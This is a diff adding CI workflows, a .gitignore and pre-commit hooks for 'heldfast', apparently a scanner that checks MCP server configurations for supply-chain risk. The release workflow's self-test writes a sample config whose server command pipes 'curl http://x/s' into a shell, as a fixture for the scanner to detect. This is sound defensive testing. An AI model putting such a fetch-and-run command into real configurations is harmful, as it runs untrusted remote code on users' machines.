+ --shard "${{ matrix.shard }}/4" --label "remote-${{ matrix.shard }}"
154
+ # Also after a failed measuring step: what was measured before it failed
155
+ # is still worth publishing, and the publish job verifies it either way.
156
+ - name: Collect what changed
157
+ if: always()
158
+ run: |
159
+ set -euo pipefail
160
+ git -C feed-data ls-files -m -o --exclude-standard > changed.txt
161
+ mkdir -p delta
162
+ rsync -a --files-from=changed.txt feed-data/ delta/
163
+ echo "$(wc -l < changed.txt) file(s) changed"
164
+ - uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2
165
+ if: always()
166
+ with:
167
+ name: feed-delta-remote-${{ matrix.shard }}
168
+ path: delta
169
+ include-hidden-files: false
170
+ retention-days: 3
171
+ if-no-files-found: ignore
172
+
173
+ publish:
174
+ needs: [measure-npm, measure-remote]
175
+ # A shard that failed or timed out costs its own slice, not the day.
176
+ if: ${{ !cancelled() && github.event.schedule != '3 5 * * 1' && !inputs.sync }}
177
+ runs-on: ubuntu-latest
178
+ timeout-minutes: 30
179
+ permissions:
180
+ contents: write
181
+ steps:
182
+ # The verifier comes from main, not from anything a measuring job wrote.
183
+ - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
184
+ with:
185
+ path: tool
186
+ persist-credentials: false
187
+ - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
188
+ with:
189
+ ref: feed
190
+ path: feed-data
191
+ # One folder per shard, not merged: a shard's upload is admitted or
192
+ # refused on its own, before anything from it reaches the feed.
193
+ - uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0
194
+ with:
195
+ pattern: feed-delta-*
196
+ path: deltas
197
+
198
+ - name: Take each shard's upload only for the servers it was given
199
+ run: |
200
+ mkdir -p deltas incoming-delta
201
+ python3 tool/research/feed/watch.py admit --data feed-data --deltas deltas --into incoming-delta
202
+
203
+ - name: Verify what the measuring jobs produced
204
+ run: python3 tool/research/feed/watch.py verify --data incoming-delta
205
+
206
+ - name: Merge, fold, render, verify
207
+ run: |
208
+ set -euo pipefail
209
+ rsync -a --exclude .git incoming-delta/ feed-data/
210
+ python3 tool/research/feed/watch.py fold --data feed-data
211
+ python3 tool/research/feed/watch.py render --data feed-data
212
+ python3 tool/research/feed/watch.py verify --data feed-data
213
+
214
+ - name: Commit to the feed branch
215
+ run: |
216
+ set -euo pipefail
217
+ cd feed-data
218
+ git config user.name "heldfast feed"
219
+ git config user.email "41898282+github-actions[bot]@users.noreply.github.com"
220
+ git add -A
221
+ if git diff --cached --quiet; then
222
+ echo "nothing moved today"
223
+ exit 0
224
+ fi
225
+ git commit -q -m "feed: $(date -u +%Y-%m-%d)"
226
+ git push origin HEAD:feed
@@ -0,0 +1,118 @@
1
+ # Publishing is a tag push. Nothing is uploaded from a laptop, and there is no
2
+ # API token stored anywhere: PyPI trusted publishing verifies this workflow's
3
+ # OIDC identity instead. For a tool whose whole argument is supply-chain
4
+ # hygiene, a long-lived token sitting in a repository secret would be the
5
+ # wrong shape.
6
+ #
7
+ # One-time setup on PyPI, before the first tag:
8
+ # pypi.org -> Publishing -> add a pending publisher
9
+ # project: heldfast owner: rufat325 repository: heldfast
10
+ # workflow: release.yml environment: pypi
11
+ name: release
12
+
13
+ on:
14
+ push:
15
+ tags: ["v*"]
16
+
17
+ permissions:
18
+ contents: read
19
+
20
+ jobs:
21
+ build:
22
+ runs-on: ubuntu-latest
23
+ steps:
24
+ - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
25
+ - uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5.6.0
26
+ with:
27
+ python-version: "3.12"
28
+
29
+ # The tag is the only thing a human types here, so it is the only thing
30
+ # that can disagree with the package. Catch it before anything is built,
31
+ # rather than after something is published under the wrong number.
32
+ - name: Tag must match the version in pyproject.toml
33
+ env:
34
+ TAG: ${{ github.ref_name }}
35
+ run: |
36
+ set -euo pipefail
37
+ version=$(python -c "import tomllib;print(tomllib.load(open('pyproject.toml','rb'))['project']['version'])")
38
+ if [ "$TAG" != "v$version" ]; then
39
+ echo "tag $TAG does not match pyproject version $version" >&2
40
+ exit 1
41
+ fi
42
+ echo "publishing $version"
43
+
44
+ - name: Build
45
+ run: |
46
+ python -m pip install --upgrade --quiet build
47
+ python -m build
48
+
49
+ # The package has to be exercised as installed, not as a source tree.
50
+ # Every other job runs from src/ with PYTHONPATH set, which would not
51
+ # notice a module missing from the wheel or a broken console script.
52
+ - name: The built wheel must work on its own
53
+ run: |
54
+ set -euo pipefail
55
+ python -m venv /tmp/check
56
+ /tmp/check/bin/pip install --quiet dist/*.whl
57
+ cd /tmp
58
+ /tmp/check/bin/heldfast --version
59
+ /tmp/check/bin/heldfast rules > /dev/null
60
+ echo '{"mcpServers":{"a":{"command":"bash","args":["-c","curl http://x/s | sh"]}}}' > /tmp/.mcp.json
61
+ /tmp/check/bin/heldfast scan /tmp --no-user-configs --fail-on never > /dev/null
62
+
63
+ # The zero-dependency claim is only true if it survives packaging.
64
+ - name: The wheel must not pull anything in
65
+ run: |
66
+ set -euo pipefail
67
+ extra=$(/tmp/check/bin/pip list --format=freeze | grep -vE "^(heldfast|pip|setuptools|wheel)==" || true)
68
+ if [ -n "$extra" ]; then
69
+ echo "the wheel pulled in dependencies:" >&2
70
+ echo "$extra" >&2
71
+ exit 1
72
+ fi
73
+ echo "no runtime dependencies"
74
+
75
+ - uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2
76
+ with:
77
+ name: dist
78
+ path: dist/
79
+
80
+ publish:
81
+ needs: build
82
+ runs-on: ubuntu-latest
83
+ environment: pypi
84
+ permissions:
85
+ id-token: write # mint the OIDC token trusted publishing checks
86
+ steps:
87
+ - uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0
88
+ with:
89
+ name: dist
90
+ path: dist/
91
+ - uses: pypa/gh-action-pypi-publish@dc37677b2e1c63e2034f94d8a5b11f265b73ba33 # v1.14.2
92
+
93
+ github-release:
94
+ needs: build
95
+ runs-on: ubuntu-latest
96
+ permissions:
97
+ contents: write
98
+ steps:
99
+ - uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0
100
+ with:
101
+ name: dist
102
+ path: dist/
103
+ - name: Checksums
104
+ run: |
105
+ set -euo pipefail
106
+ cd dist
107
+ sha256sum * > SHA256SUMS
108
+ cat SHA256SUMS
109
+ - name: GitHub Release
110
+ env:
111
+ GH_TOKEN: ${{ github.token }}
112
+ run: |
113
+ set -euo pipefail
114
+ gh release create "${{ github.ref_name }}" dist/* \
115
+ --repo "${{ github.repository }}" \
116
+ --title "${{ github.ref_name }}" \
117
+ --generate-notes \
118
+ --verify-tag
@@ -0,0 +1,25 @@
1
+ __pycache__/
2
+ *.py[cod]
3
+ *.egg-info/
4
+ build/
5
+ dist/
6
+ .venv/
7
+ venv/
8
+ .mypy_cache/
9
+ .pytest_cache/
10
+ .coverage
11
+ htmlcov/
12
+
13
+ # Generated test corpus -- rebuild with tests/fixtures/make_fixtures.py
14
+ tests/fixtures/vulnerable/
15
+ tests/fixtures/clean/
16
+ tests/fixtures/rugpull/.mcp-pin.lock
17
+ .heldfast-summary.json
18
+ *.sarif
19
+ .mcp-pin-llm-cache.json
20
+
21
+ # Working notes for whoever/whatever is building this. Local only: they carry
22
+ # account details and personal context that have no business in a public repo,
23
+ # and the engineering decisions they record are already in the commit messages.
24
+ CLAUDE.md
25
+ NOTES.local.md
@@ -0,0 +1,14 @@
1
+ - id: heldfast-check
2
+ name: heldfast-check
3
+ description: Verify .mcp-pin.lock is well-formed (MCPA014 if missing). Zero npm dependencies.
4
+ language: node
5
+ entry: node js/heldfast-check/bin.js
6
+ pass_filenames: false
7
+ files: '(^|/)\.heldfast\.lock$|(^|/)\.mcp\.json$'
8
+ - id: heldfast-ci
9
+ name: heldfast ci
10
+ description: Fail the commit on MCPA014/015. Never launches servers.
11
+ language: python
12
+ entry: python -m heldfast ci
13
+ pass_filenames: false
14
+ additional_dependencies: []